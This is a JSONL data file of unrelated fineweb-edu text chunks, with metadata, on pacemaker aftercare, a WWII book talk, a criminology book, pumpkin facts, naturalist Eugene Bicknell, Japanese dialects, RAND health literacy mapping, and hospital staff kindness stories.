mattresses, pillows, and massagers - large electrical or gasoline powered appliances if you have a cell phone : - do not put it in a pocket on the same side of your body as your pacemaker. - when using your cell phone, hold it to your ear on the opposite side of your body. be careful around metal detectors and security wands. - handheld security wands may interfere with your pacemaker. show your wallet card and ask to be hand searched. - most security gates at airports and stores are okay. but do not stand near these devices for long periods. your pacemaker may set off alarms. after any operation, have your doctor check your pacemaker. you should be able to do normal activities in 3 - 4 days. for 2 - 3 weeks, do not do these things with the arm on the side of your body where the pacemaker was placed : - lifting anything heavier than 10 - 15 pounds - too much pushing, pulling, or twisting do not lift this arm above your shoulder for 6 weeks. do not wear clothes that rub on the wound for 2 or 3 weeks. keep your incision completely dry for 4 - 5 days. afterwards, you may take a shower and then pat it dry. always wash your hands before touching the wound. your doctor or nurse will tell you how often they will need to check your pacemaker. most times, it will be every 6 months to a year. the exam will take about 15 - 30 minutes. the batteries in your pacemaker should last 6 - 15 years. regular checkups can detect if the battery is wearing down or if there are any problems with the leads ( wires ). your doctor will change the generator along with the battery when the battery gets low. when to call the doctor call your doctor if : - your wound looks infected ( red", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4367186711761785, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.880220"} {"text": "st. louis, mo ( prweb ) june 29, 2012 the st. louis county library is pleased to present military historian and missouri university of science and technology professor john c. mcmanus for a discussion and signing of his book \u201c september hope : the american side of a bridge too far \u201d on tuesday july 31, at 7 : 00 p. m. at st. louis county library headquarters, 1640 s. lindbergh blvd. the program is free and open to the public. books will be available for purchase at the event from barnes & noble. in \u201c september hope, \u201d acclaimed historian john c. mcmanus explores world war ii \u2019 s most ambitious invasion, an immense, daring offensive to defeat nazi germany before the end of 1944. operation market - garden is one of the war \u2019 s most famous, but least understood, battles, and mcmanus tells the story of the american contribution to this crucial phase of the war in europe. august 1944 saw the allies achieve more significant victories than in any other month. soviet armies annihilated more than twenty german divisions and pushed the hated enemy deep inside poland. general eisenhower \u2019 s d - day invasion led to the liberation of france. encouraged by these triumphs, british and american armored columns plunged into belgium, holland and luxembourg. the germans were in disarray, overwhelmed on all fronts as allied bombers pulverized their cities. rumors swirled that the war would soon be over and that everyone would be home for christmas. then came september, and holland. on september 17, the largest airborne drop in military history commenced \u2014 including two entire american divisions. their mission was to secure key bridges until british armored forces could relieve them. however, the germans were much stronger than the allies anticipated. in eight days of ferocious combat, they mauled the airborne and prevented the allies from crossing the rhine. for the first time, using countless personal interviews, \u201c september hope \u201d reveals the american perspective on one of the most famous and decisive battles of world war ii. john c. mcmanus earned a ph. d. in american history and military history from the university of tennessee, where he served as assistant director of the center for the study of war and society, helping oversee a project collecting the firsthand stories of american veterans of world war ii. he is currently associate professor of u. s. military history at missouri university of science and technology. he also currently serves as the official historian for the united states army \u2019 s seventh infantry regiment. program sites are accessible.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40391592979267166, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.883138"} {"text": "crime and inequality by chris grover published december 14th 2010 by willan \u2013 288 pages this book examines key relationships between material circumstances and crime, and analyzes the areas of social policy \u2013 in particular social security and labour market policy \u2013 that are most important in terms of dealing with inequality at the lower end of the income hierarchy. it seeks to explain why inequality is linked to offending behaviour and the evidence underpinning explanations for this, and looks in detail at the relationship between offending and anti - social behaviour and its management through social policy interventions. crime and inequality draws upon both criminological and social policy approaches to understand this vital relationship, moving beyond criminological approaches which often fail to analyse the way the state attempts to manage poor material circumstance, offending and anti - social behaviour through social policy. the main aims of the book are threefold : to draw upon the disciplines of both criminology and social policy to understand the relationship between crime and inequality ; to provide an in - depth analysis of those aspects of social policy that have a bearing on the context, management and punishment of offending behaviour ; to examine government crime and anti - social behaviour policies in the context of social security and labour market policies, and to identify the tensions that have resulted from attempts to address social justice issues while also making individuals responsible for their actions. 1. introduction. crime, inequality and social policy. criminalising social policy?. inequality, poverty and social exclusion 2. crime and inequality. introduction. inequalities in contemporary society. young people : particularly disadvantaged. crime and inequality. conclusion 3. young men. introduction. the problem for young men. the problem with young men. men, crime and unemployment in policy. not in education, employment and training ( neet ). tackling the unemployment of young men. conclusion 4. parenting and anti - social behaviour. introduction. families, anti - social behaviour and the ' parenting deficit '. parenting and anti - social behaviour. parenting, anti - social behaviour and criminal justice policy. parenting, anti - social behaviour and social policy. parenting, material context and gender. parenting, anti - social behaviour and state welfare. conclusion 5. women, crime and inequality. introduction. women and inequality. women, crime and poverty. breeding delinquents? lone mothers and role models. getting lone mothers into paid work. lone mothers and paid work : rationalities and consistencies. lone mothers and policy : reproducing the material context of offending. conclusion. 6. crime, inequality", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49669631660757374, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.886030"} {"text": "- pumpkins are a fruit that originated in central america. - the name \" pumpkin \" comes from the greek word \" pepon, \" meaning a large melon. - 90 % of the pumpkin is made up of water. - the yellow - orange flowers that bloom from a pumpkin vine are edible. - using pumpkins as lanterns at halloween is based on an ancient celtic custom brought to america by european immigrants. - the world ' s heaviest pumpkin was grown by chris stevens ( usa ) and was recorded on october 9, 2010 weighing 1, 810. 5 lbs. ( source : guinness world records ) - pumpkins, and their seeds, were a celebrated food of the native american indians who treasured them both for their dietary and medicinal properties. - illinois grows more pumpkins than any other state in the country. it harvests nearly 12, 300 acres of fruit. - the carving of jack - o ' - lanterns originated from the tradition of carving the faces of lost souls into hollowed out pumpkins and turnips. a candle was placed inside the carvings making the faces glow. the halloween lanterns were placed on doorsteps to ward off evil spirits. - the world ' s fastest time to carve a face into a pumpkin is 20. 1 seconds, by david finkle ( uk ), on october 7, 2010 ( source : guinness world records ) - more than 93 percent of children go trick - or - treating each year. ( source : nca ) - halloween also is recognized as the 3rd biggest party day after new year ' s and super bowl sunday. - trick - or - treating is thought to have its origins in a european custom called souling where people would beg for \" soul cakes. \" - there were estimated 36. 8 million potential \" trick - or - treaters \" ages 5 - 13. - legendary magician harry houdini died in detroit from a ruptured appendix on halloween in 1926.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4452115651932323, "token_count": 390, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.887822"} {"text": "eugene pintard bicknell eugene pintard bicknell was born at riverdale - on - hudson on september 23, 1859, the sixth son of joseph inglis bicknell and maria theresa pierrepont. he never went to college but was well - educated which was evident in his writing. mr. bicknell went into business at an early age, connecting himself with the financial firm of john munroe & co., where he eventually became a partner. on october 9, 1901 eugene married edith babcock at riverdale and together they had two daughters, eleanor franklin and edith evelyn. the same year as their marriage, they moved their home to long island where for a number of years mr. bicknell served as vestryman of trinity church, hewlett, and delegate to the diocesan convention. mr. bicknell was interested in natural history from an early age. he was one of the few ornithologists of his time who used his field glass more than his gun and kept daily records of every species he observed. his thorough documentations of observed species were kept in his riverdale diaries, though he also maintained a collection of local birds which were later presented to the vassar institute in poughkeepsie, n. y. during the spring and fall migration period, mr. bicknell would send a daily postcard to dr. a. k. fisher who lived about twenty miles north. in 1878, at the age of 18, mr. bicknell published his first technical paper, \" evidences of the carolinian fauna in the lower hudson valley \", appearing in the bulletin of the nuttall ornithological club. the same year he was one of ten naturalists to organize the linnaean society of new york where he also served as president from 1879 to 1887. in 1882 this society published his \" review of the summer birds of part of the catskill mountains. \" it was at that time he discovered bicknell ' s thrush, described by ridgway in the ' proceedings of the united states national museum. ' mr. bicknell was the youngest founder of the american ornithologists ' union and was elected temporary secretary of the first meeting. he was also appointed to the committees on migration of birds and on the european house sparrow. the second year he was appointed a member of the original committee of bird protection and in 1885 became secretary of that committee. throughout mr. bicknell ' s life, he spent more and", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.41320637552396844, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.890936"} {"text": "committees on migration of birds and on the european house sparrow. the second year he was appointed a member of the original committee of bird protection and in 1885 became secretary of that committee. throughout mr. bicknell ' s life, he spent more and more time devoted to the study of botany which he focused on primarily after 1895. in 1880, mr. bicknell was elected a member of the torrey botanical club and began contributing to the club ' s bulletin the same year. in 1896, he became a member of the newly organized new york botanical garden and also the philadelphia botanical club. later, his extensive collections of plants along with his botanical books were presented to the new york botanical garden by mrs. bicknell. over his lifetime, mr. eugene bicknell published contributions amounted to 26 titles and installments to ornithology and natural history and 74 on botanical subjects. mr. bicknell was known as a modest man who rarely attended scientific meetings or mingled with fellow naturalists. though reserved, he maintained a kind disposition and was known to help younger students. mr. euegene bicknell passed away on february 9, 1925. to learn more about eugene pintard bicknell, please visit : http : / / elibrary. unm. edu / sora / auk / v043n02 / p0143 - p0149. pdf", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4359001537880382, "token_count": 285, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.891432"} {"text": "in this chapter, the linguistic consequences of settlement by migration are analyzed. the area of the fieldwork is a small island in the ryukyu or nansei ( south - western ) islands. dialectal expressions from two settlements are examined from a linguistic geographical point of view. linguistic geographical surveys have often ignored newly settled villages because the language there was not considered to be pure, and because information from such villages offers no keys to a historical reconstruction of the language of the area. in the survey of tokunoshima discussed here, however, all the villages were investigated, and two villages were found which had a history of recent migrations from nearby villages. several items showed common characteristics with the \u201c mother \u201d village ( where the settlers came from ) in spite of a separation of more than 200 years. these results may be contrasted with the situation in hokkaido ( the northern - most island in japan ), the japanese frontier area in the modern era. the author also refers to the united states and australia, and states that 200 years is not enough for a new dialect to be established. in the future, universal sociolinguistic tendencies in this field must be pursued by acquiring data from as many cases as possible from all over the world. the present study is a precursor to the recent body of work in \u2018 new dialect \u2019 formation. figure 14 \u2013 0. tokunoshima questia, a part of gale, cengage learning. www. questia. com publication information : book title : sociolinguistics in japanese contexts. contributors : tetsuya kunihiro - editor, fumio inoue - editor, daniel long - editor. publisher : mouton de gruyter. place of publication : new york. publication year : 1999. page number : 249. this material is protected by copyright and, with the exception of fair use, may not be further copied, distributed or transmitted in any form or by any means.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5095523772439683, "token_count": 390, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.893480"} {"text": "this articlerand health quarterly, 2011 ; 1 ( 1 ) : 15 an estimated 36 percent of american adults have health literacy levels rated at \u201c basic or below, \u201d indicating that they have difficulty obtaining, processing, and understanding basic health information and services. to help healthcare decisionmakers in missouri identify neighborhood - level \u201c hotspots \u201d of suboptimal health or healthcare that may be due to low health literacy, rand developed a prototype interactive web - based mapping tool. this builds on earlier rand work to develop a predictive model of health literacy and estimate levels of health literacy in small geographic areas ( e. g., census tracts ). the interactive mapping tool allows stakeholders to select the level of geography ( e. g., census tract, county ), obtain information for and map specific regions of interest, select the characteristics to be mapped ( i. e., estimates of community - level health literacy, health outcomes and care quality, neighborhood sociodemographic characteristics, and neighborhood health services data ), and generate tables and reports on the regions and characteristics of interest. housed on a dedicated rand website ( http : / / www. rand. org / health / projects / missouri - health - literacy. html ), the mapping tool makes it possible for a range of stakeholders, from health plans to community organizations, to access and use the tool to help address healthcare disparities in their communities. for more information, see rand tr - 811 - mfh at http : / / www. rand. org / pubs / technical _ reports / tr811. html over the past decade, providers and policymakers alike have recognized the need to shift from documenting the existence of gaps in quality of care and health outcomes to doing something about them. numerous efforts have identified characteristics of individuals who are deemed to be \u201c at risk \u201d for poor health outcomes and lower - quality care, such as belonging to certain minority groups or having low income or low education. in addition, health literacy has emerged as a potentially critical pathway through which education, income, and other fundamental determinants impact healthcare quality and disparities. health literacy is \u201c the degree to which individuals have the capacity to obtain, process, and understand basic health information and services needed to make appropriate health decisions \u201d ( ratzan and parker, 2000 ). individuals with low health literacy ( lhl ) have difficulty with tasks ranging from understanding directions for taking medication to navigating the healthcare system. many stakeholders recognize that achieving equity in the u. s. healthcare system requires addressing challenges related", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5092602747811454, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.901256"} {"text": ", 2000 ). individuals with low health literacy ( lhl ) have difficulty with tasks ranging from understanding directions for taking medication to navigating the healthcare system. many stakeholders recognize that achieving equity in the u. s. healthcare system requires addressing challenges related to lhl. however, efforts to translate such evidence into cost - effective actions and interventions have been only marginally successful. identifying geographic areas with large numbers of people with lhl can help stakeholders target interventions more efficiently and cost - effectively. such a population - based approach is especially attractive in view of the recent acceleration of interest in public health literacy, defined as \u201c the degree to which individuals and groups can obtain, process, understand, evaluate, and act on information needed to make public health decisions that benefit the community \u201d ( freedman et al., 2009 ), and the concomitant need to develop more multifaceted and population - based approaches to improving health. the feasibility and success of a population - based approach to addressing lhl and resulting health disparities, however, relies in part on the ability to identify geographic areas where large numbers of at - risk people live in order to determine effective types of interventions and optimal locations for implementation. a prototype interactive web - based tool to target lhl stakeholders are in need of a tool to help them maximize the impact of limited resources available to address lhl and to target those resources toward communities at greatest need. in response, rand developed a prototype interactive web - based mapping tool to help healthcare decisionmakers in missouri identify community - level \u201c hot spots \u201d of suboptimal health or healthcare that may be due to lhl. this work is part of a multiphase project, sponsored by the missouri foundation for health, to develop a predictive model of health literacy and to estimate levels of health literacy in small geographic areas ( e. g., census tracts ). the resulting tool incorporates the following data : - estimates of community - level health literacy. in an earlier phase of this project, we developed predictive models of health literacy using data from the national assessment of adult literacy ( naal ) ( lurie et al., 2010 ; martin et al., 2009 ). these models, when applied to census - derived variables for small geographic areas, provide an estimate of the percentage of individuals within that region with \u201c basic \u201d or \u201c below basic \u201d health literacy skills, as well as their mean naal scores. - health outcomes and care quality, including breast and colon cancer screening and quality of diabetes care. these were obtained from", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5041149455619954, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.902221"} {"text": "of individuals within that region with \u201c basic \u201d or \u201c below basic \u201d health literacy skills, as well as their mean naal scores. - health outcomes and care quality, including breast and colon cancer screening and quality of diabetes care. these were obtained from missouri \u2019 s county level study ( cls ). - neighborhood sociodemographic characteristics were obtained from the 2000 u. s. census and the 2007 american community survey ( acs ). - neighborhood health services data including medically underserved areas ( muas ), health professional shortage areas ( hpsas ), and the locations of hospitals and federally qualified health centers ( fqhcs ), obtained from the american hospital association ( aha ) and the health resources and services administration ( hrsa ). using gis technology, this prototype tool presents the above data in the form of colorcoded maps that quickly show stakeholders where individuals with different characteristics reside and where health or healthcare is suboptimal. this gis mapping tool is part of rand \u2019 s q - dart project, which applies emerging analytic and decision tools to better target gaps in the quality of care and health outcomes in diverse populations, helping decisionmakers more wisely allocate scarce resources. by simultaneously mapping neighborhood levels of health literacy and low - quality care, stakeholders obtain a more empirically based understanding of the geographic distribution of these problems in and around their communities, helping to reverse the \u201c inverse care law, \u201d which states that the availability of quality medical care tends to vary inversely with the need among the population served ( schillinger, 2007 ; tudor - hart, 1971 ). as such, this tool may not only help stakeholders target population health interventions in communities of greatest need ( lalonde, 1974 ) but also support the development of tailored approaches to improving health among vulnerable populations ( frolich and potvin, 2008 ). the interactive mapping tool allows stakeholders to select the level of geography ( e. g., census tract, county ), obtain information for and map specific regions of interest, select the characteristics to be mapped, generate tables and reports on the regions and characteristics of interest, import their own data, export data from the tool, and save and print their projects. the prototype tool is housed on a dedicated rand website ( http : / / www. rand. org / health / projects / missouri - health - literacy. html ), making it possible for a range of stakeholders, from health plans to community organizations, to access and use the tool to help address healthcare disparities in", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5025878092558462, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.903177"} {"text": "/ www. rand. org / health / projects / missouri - health - literacy. html ), making it possible for a range of stakeholders, from health plans to community organizations, to access and use the tool to help address healthcare disparities in their communities. freedman d, bess k, tucker h, boyd d, tuchman a, and wallston k, \u201c public health literacy defined, \u201d american journal of preventive medicine, vol. 36, 2009, pp. 446 \u2013 451. frolich k and potvin l, \u201c the inequality paradox : the population approach and vulnerable populations, \u201d american journal of public health, vol. 98, 2008, pp. 216 \u2013 221. lalonde m, a new perspective on the health of canadians, ministry of supply and services canada, 1974. lurie n, martin lt, ruder t, escarce jj, ghosh - dastidar b, sherman d, bird ce, and fremont a, estimating and mapping health literacy in the state of missouri, santa monica, calif. : rand corporation, wr - 735 - mfh, 2010. as of june 30, 2010 : http : / / www. rand. org / pubs / working _ papers / wr735. html martin l, ruder t, escarce j, ghosh - dastidar b, sherman d, elliott m, et al., \u201c developing predictive models of health literacy, \u201d journal of general internal medicine, vol. 24, 2009, pp. 1211 \u2013 1216. missouri department of health and senior services, missouri county - level study ( cls ), 2007. national center for education statistics, national assessment of adult literacy ( naal ), 2003. national center for education statistics, the health literacy of america \u2019 s adults : results from the 2003 national assessment of adult literacy, washington, d. c. : u. s. department of education, 2006. ratzan s and parker r, \u201c introduction, \u201d in selden c, zorn m, ratzan s, and parker r, eds., national library of medicine current bibliographies in medicine : health literacy, bethesda, md. : national institutes of health, u. s. department of health and human services, 2000. schillinger d, \u201c literacy and health communication : reversing the \u2018 inverse care law, \u2019 \u201d american journal of bioethics, vol. 7, 2007, pp. 15 \u2013", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4698588466745875, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.904053"} {"text": "champion. it ' s not a complicated word to pronounce or to use in a sentence ; however, we often overuse the word, thereby reducing its magnitude and importance. a champion is defined as one who fights for another or for a cause ; excelling all others or one who shows marked superiority. champion. when a class of third grade students was asked what a champion is, they supplied the following thoughts : \u201c it ' s something you want to be. it ' s a winner. it ' s a friend. it ' s my dad. i ' m not sure, but i know there are not a lot of them. \u201d and finally, \u201c i think it means something special. \u201d so, now you might be asking how these \u201c champions \u201d were selected? each of our \u201c champions \u201d was nominated for and received a care award some time during the past year. as our care committee was voting on the care award recipients, they were also selecting those whose actions and attitudes distinguished them from all others nominees and defined them as champions. after identifying those who met the champion criteria, they were then voted on by the care committee. click here to view past care champions. a gentleman was escorted into the emergency department ( ed ) by 6 police officers. he was very uncooperative, even combative, and the officers did all that they could to control his violent outbursts. in the course of the officers trying to contain this man, michelle realized that he was only crying out for help. he was trying to tell the police officers that he wanted a shower and something to eat. while the officers struggled to keep the man subdued, michelle found him a room and somewhere to shower, and then bought him a hot sandwich when he got back to the ed. these small gestures of kindness did not go unnoticed by the patient. freshly showered and fed, this man who was so full of violence upon arrival became calm and remained very cooperative for the remainder of his time at randolph hospital. care champions : first quarter 2011 derrick is a c. a. r. e champion because of a situation he handled in the emergency department recently. he was faced with a horrific situation, in which a heart - broken family had just lost one their beloved sons in a car accident. there was general hysteria around the situation and the events leading up. derrick helped prepare the child \u2019 s body, insuring that he appeared as normal as possible considering the circumstances of his death. derrick tenderly cared for the child, conveying compassion and dedication for his work. lane", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5141311869693141, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.961209"} {"text": "the situation and the events leading up. derrick helped prepare the child \u2019 s body, insuring that he appeared as normal as possible considering the circumstances of his death. derrick tenderly cared for the child, conveying compassion and dedication for his work. lane is a c. a. r. e champion because of a situation he handled in the emergency department recently. he was faced with a horrific situation, in which a heart - broken family had just lost one their beloved sons in a car accident. there was general hysteria around the situation and the events leading up. lane helped prepare the child \u2019 s body, insuring that he appeared as normal as possible considering the circumstances of his death. lane tenderly cared for the body of the child, conveying compassion and dedication for his work. an icu patient who was awake and on a ventilator had just received the devastating diagnosis of lung cancer. as if the news weren \u2019 t traumatic enough, melisa realized the patient had just received this news on his birthday. in an effort to lighten the mood and to help bring a spot of joy to this day, melisa went to the hospital gift shop and bought birthday balloons for the patient. while walking across the street for a meeting in the main hospital, lisa stopped to help an elderly gentleman who was lost. lisa volunteered to ride with the gentleman to the parking deck and assisted him in parking his car. lisa then retrieved a wheelchair for the gentleman and escorted him to the patient he was visiting. once at the patient room, lisa noticed that the patient was on isolation precautions and she helped the gentleman gown up and glove - up so he could enter the room. before leaving, lisa made sure the visitor had the number to the welcome center so that he could request help getting back to his car. sherry, resource management on thanksgiving day, sherry was the on call staff for resource management. as sherry was assisting a patient with discharge plans she realized he had no pay source to secure his diabetic supplies. he needed a box of insulin syringes, a glucometer and strips for the glucometer. sherry with her compassionate and generous nature gave the patient $ 60 of her own money to pay for these needed supplies. there was a patient on pcu during the christmas season. the patient was told by her oncologist that her treatments for cancer were no longer working. once the staff found out about her diagnosis, they immediately came together and planned something magical. they decorated one of the rooms with two windows to view asheboro with", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4222117807694394, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.970895"} {"text": "patient was told by her oncologist that her treatments for cancer were no longer working. once the staff found out about her diagnosis, they immediately came together and planned something magical. they decorated one of the rooms with two windows to view asheboro with christmas decorations. each staff member made a snowflake, which had words of encouragement that were hung from the ceiling in her room. her husband went out and got a small christmas tree. they put a stocking in her room. it was absolutely amazing! brenda, diabetes center a participant in a diabetes class lost her balance and fell in the restroom causing damage to her clothing. the participant did not want to leave the class. brenda made a special trip to the store to purchase sweat pants and socks for the participant. when she returned, brenda asked the participant if she would like to change into the new items. the participant was very happy with being able to change into new clothes. kenita, in - home aide kenita is a certified nursing assistant for a patient who has alzheimer \u2019 s disease. the patient has been cared for in the home for several years. kenita has done many things to improve the quality of life for her patient. the patient \u2019 s husband had a birthday, and kenita took it upon herself to plan a surprise birthday party for him. kenita and her mom cooked a great meal, got a birthday cake and arranged for guests to attend. she even worked it out so that the patient \u2019 s son and grandson from out - of - town were in attendance. kenita did something for the patient that she no longer has the ability to do. candace was drawing labs on a patient who was going to surgery. the patient \u2019 s family member mentioned that she received cancer treatments at cancer facility that was an hour away. she expressed what a burden it was to travel that far to receive chemotherapy. candace then went back to the lab, and later returned to the patient \u2019 s room and informed the family member of the benefits in coming to randolph hospital cancer center. she explained the program and informed her of the knowledgeable nurses and doctors at randolph hospital. she then offered and to have the patient \u2019 s orders and medical records sent to our facility in order to have her chemotherapy done closer to home. the patient and family member were very thankful and took her up on her offer. candace was able to save two extra hours for the patient and family member. they can now spend that time with each other giving and receiving lots of love and savoring the time they have. heather", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4749831683403161, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.972470"} {"text": "very thankful and took her up on her offer. candace was able to save two extra hours for the patient and family member. they can now spend that time with each other giving and receiving lots of love and savoring the time they have. heather was assisting a patient in the intensive care unit, who was very concerned that some oranges he bought would go bad at his home. after finishing a night shift, heather went to the patient \u2019 s home, picked up his oranges and brought them to work the next evening for him. this act of kindness brightened up the patient and made him very appreciative of the care he received at randolph hospital. while ruth was caring for a patient with congestive heart failure, she learned that he did not have a scale to weigh himself at home, which is key to monitoring congestive heart failure flair ups. ruth brought a scale from home and gave it to the patient to use at this home. kathleen riley, md, rma - pediatrics dr. riley recently examined a newborn with significant jaundice and requested that a phototherapy blanket be set up for the baby at home. however the mother was unable to find transportation to go to the medical equipment company. when dr. riley heard about the problem, she left her office early, drove to the medical equipment company and bought the phototherapy blanket herself. then she drove to the family \u2019 s home, set up the blanket for the infant and instructed the parents on proper use. this prevented the infant from being readmitted and the jaundice was quickly resolved. leo, service excellence when a school bus turned over and nearly 20 children were brought to the ed, there was no interpreter available to speak with children or their families. however when leo colon, who was off for the day, was called he dropped his personal plans and arrived in perfect timing with the children. he immediately jumped in and assisted ems personnel, nursing staff and the families involved. he provided comfort and support to the children and escorted them to exam rooms. leo \u2019 s actions speak volumes about his character and commitment to excellence. sometimes the most meaningful acts are also the simplest. when cathy learned that one of her patients was going to be spending his birthday in the hospital, she quickly thought of what she could do. so she went down to the gift shop, and bought a card and balloon. she made sure all of the staff signed the card and then went in to surprise him. cathy \u2019 s small act showed she truly cared and exemplified the meaning of service", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4202476643023263, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.974406"} {"text": ". so she went down to the gift shop, and bought a card and balloon. she made sure all of the staff signed the card and then went in to surprise him. cathy \u2019 s small act showed she truly cared and exemplified the meaning of service excellence. rebekah was caring for a two - month old patient whose twin brother had died earlier in the week, after being hospitalized since birth. rebekah saw the family needed an experienced and trusted individual to sit with the baby so they could attend the viewing and the funeral of the child who had passed. she told the family she would stay after her shift to sit with their baby, and that she would come in the next day to watch the hospitalized child so they could attend the twin brother \u2019 s funeral. rebekah stayed for two hours after her 12 hour shift that evening, and came in for five hours on her day off. rebekah \u2019 s actions made it possible for the family to mourn the loss of one child meanwhile knowing the other baby was being cared for by someone they trusted. brandy & debbie, emergency department brandy harris and debbie thomas worked together to reach out to a patient and family in need. during their shift in the emergency department, a 14 - month old baby came in, needing to be placed on life support and then transferred to baptist hospital. the mom was allowed to go with the transport team, but the dad was not. unfortunately, he had no way to get there. brandy and debbie worked 12 hours that night and when their shift ended, they drove the dad to baptist hospital to be with his family. they not only drove him, but they parked and walked him to the unit he needed to go to. brandy and debbie also realized the man had no money. debbie decided to take some money out of the atm and gave it to the gentleman for food. after making sure he was situated, they left him to be with his family. noted in their care nomination form, \u201c this act of kindness showed dedication, not only to their jobs, butmore importantly to another person who was in need of help. their compassion exceeded the norm and helped meet the needs of not only the patient, but also the parents. this is true care champion work! \u201d nina, home health services nina albright reached out to a patient struggling with car problems. the patient \u2019 s van needed work done that would cost an estimated $ 800. nina decided to speak with her uncle who is a mechanic about the situation. he was able to get the car part for less", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4258494906941711, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.975440"} {"text": "out to a patient struggling with car problems. the patient \u2019 s van needed work done that would cost an estimated $ 800. nina decided to speak with her uncle who is a mechanic about the situation. he was able to get the car part for less than $ 200 and installed it at no cost. now, the patient is able to make her doctor appointments and run errands without any car troubles. dianne, emergency department dianne brady knows that delivering extraordinary patient care requires action above the call of duty. as a patient sitter in the emergency department, she took the initiative to create care bags for mental health patients who stay in the department over 24 hours. the bags include items to help the patient feel more at home. dianne \u2019 s positive attitude, compassion and professionalism make her a care champion. susan, volunteer services susan harrell, a local artist, has shown compassion to patients through volunteering her artistic talent. susan began painting with inpatients, as well as cancer patients, last year. this complimentary wellness service gives patients a positive distraction while they are receiving treatment. susan has embraced this gift to others by planning the art sessions, buying the materials needed, and empowering patients with the gift of art. ed poole, volunteer services ed is a volunteer in the cafe gifts opc ; ed has been invaluable in starting the new cafe gifts because of his dedication in volunteering extra shifts, helping to create a manageable flow of inventory, keeping a weekly inventory check and taking his time to research cost effective products from costco to purchase to sell in the cafe gifts. he has helped tremendously in managing inventory and cost effectiveness of items purchased for the new shop. ed has been instrumental in helping to recruit other volunteers which has proven to be a challenge. his enthusiasm and dedication to excellence for our gift shop is something that to be very proud of. skip was heading through the parking deck on his way to the maintenance truck when he noticed cars lined up on level 3, so he decided to check it out. there was a pregnant lady who was unable to park her car. she was crying and very upset. she spoke very little english, but communicated to skip that she needed help. skip parked the truck, called on his radio for someone to get an interpreter and then escorted the lady to the emergency department. laranda, diagnostic imaging a patient came in as an outpatient for a routine chest ct. laranda performed the scan and quickly noticed the patient had a pulmonary emboli. the proportion was so", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4357925845320725, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.977520"} {"text": "and then escorted the lady to the emergency department. laranda, diagnostic imaging a patient came in as an outpatient for a routine chest ct. laranda performed the scan and quickly noticed the patient had a pulmonary emboli. the proportion was so large it was life threatening. she immediately notified the radiologist on duty and called the patient \u2019 s doctor. the patient was taken to the emergency department and admitted. if laranda had not picked up on the pulmonary emboli, it \u2019 s possible the patient could have gone home and suffered the effects of an emboli without having medical help around. fulfilling one patient \u2019 s last wish as he neared the end of battling cancer, karen took it upon herself to act with a kind heart. the patient wanted to attend the relay for life event even though he was unable to walk. so karen had purple balloons delivered, gave him her old relay for life t - shirt and escorted the patient to the front of the cancer center. sitting in his wheelchair outside of the cancer center with his family and karen on may 15, he released his purple balloons to the sky in celebration of life. while traveling through randolph county, a gentleman suffered a stroke and was taken to randolph hospital. the family 